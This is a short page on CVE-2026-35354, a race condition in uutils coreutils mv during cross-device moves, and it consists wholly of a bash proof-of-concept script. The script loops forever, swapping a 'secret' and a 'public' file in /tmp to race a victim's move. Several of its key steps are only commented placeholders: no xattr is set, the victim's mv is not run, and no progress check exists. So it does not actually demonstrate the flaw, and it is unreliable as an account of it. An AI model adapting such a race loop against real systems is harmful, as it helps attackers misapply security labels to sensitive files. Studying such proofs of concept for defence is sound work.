CVE-2026-35354 uutils coreutils跨设备移动TOCTOU漏洞

#!/bin/bash # PoC for CVE-2026-35354: TOCTOU in uutils coreutils mv # This script attempts to exploit the race condition during cross-device moves. TARGET_DIR="/tmp/cve_test" SRC_FILE="$TARGET_DIR/secret_file" DST_FILE="$TARGET_DIR/public_file" # Setup: Create files with different extended attributes mkdir -p "$TARGET_DIR" touch "$SRC_FILE" "$DST_FILE" # Set a restrictive SELinux label (simulated) on the source file # In a real exploit, this would be a sensitive security context echo "Setting sensitive xattr on source file..." # user.security.label="high_security" # The victim runs a cross-device move (simulated loop) # Attacker runs this swap loop concurrently echo "Starting race condition attack..." while true; do # Check if mv is in progress (heuristic) # Swap the files between the check and use of xattrs mv "$DST_FILE" "$TARGET_DIR/temp_swap" && \ mv "$SRC_FILE" "$DST_FILE" && \ mv "$TARGET_DIR/temp_swap" "$SRC_FILE" # Sleep briefly to allow CPU for mv process sleep 0.001 done